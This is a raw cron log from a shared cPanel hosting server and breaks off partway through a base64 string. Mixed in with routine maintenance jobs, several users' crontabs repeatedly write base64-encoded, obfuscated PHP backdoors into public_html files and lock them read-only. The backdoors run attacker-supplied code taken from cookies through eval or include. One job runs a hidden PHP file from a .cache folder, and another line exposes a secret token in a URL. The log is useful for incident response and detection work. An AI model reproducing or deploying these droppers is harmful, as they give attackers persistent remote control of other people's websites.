Mar  2 10:39:01 medusa CROND[5450]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:39:01 medusa CROND[5452]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:39:01 medusa CROND[5455]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:39:01 medusa CROND[5464]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:39:01 medusa CROND[5469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:39:01 medusa CROND[5470]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:39:01 medusa CROND[5474]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:39:01 medusa CROND[5476]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:39:01 medusa CROND[5478]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:39:01 medusa CROND[5479]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22441]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:40:01 medusa CROND[22493]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:40:01 medusa CROND[22800]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22806]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 10:40:01 medusa CROND[22804]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:40:01 medusa CROND[22807]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:40:01 medusa CROND[22805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22808]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22809]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 10:40:01 medusa CROND[22803]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:40:01 medusa CROND[22812]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:40:01 medusa CROND[22817]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:40:01 medusa CROND[22824]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:40:01 medusa CROND[22825]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22818]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:40:01 medusa CROND[22819]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:40:01 medusa CROND[22826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22833]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22834]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:40:01 medusa CROND[22836]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:40:01 medusa CROND[22835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:40:01 medusa CROND[22842]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:40:01 medusa CROND[22844]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:40:01 medusa CROND[22847]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 10:40:01 medusa CROND[22855]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:40:01 medusa CROND[22867]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:40:01 medusa CROND[22869]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 10:41:01 medusa CROND[7096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:41:01 medusa CROND[7099]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:41:01 medusa CROND[7100]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:41:01 medusa CROND[7400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:41:01 medusa CROND[7401]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsg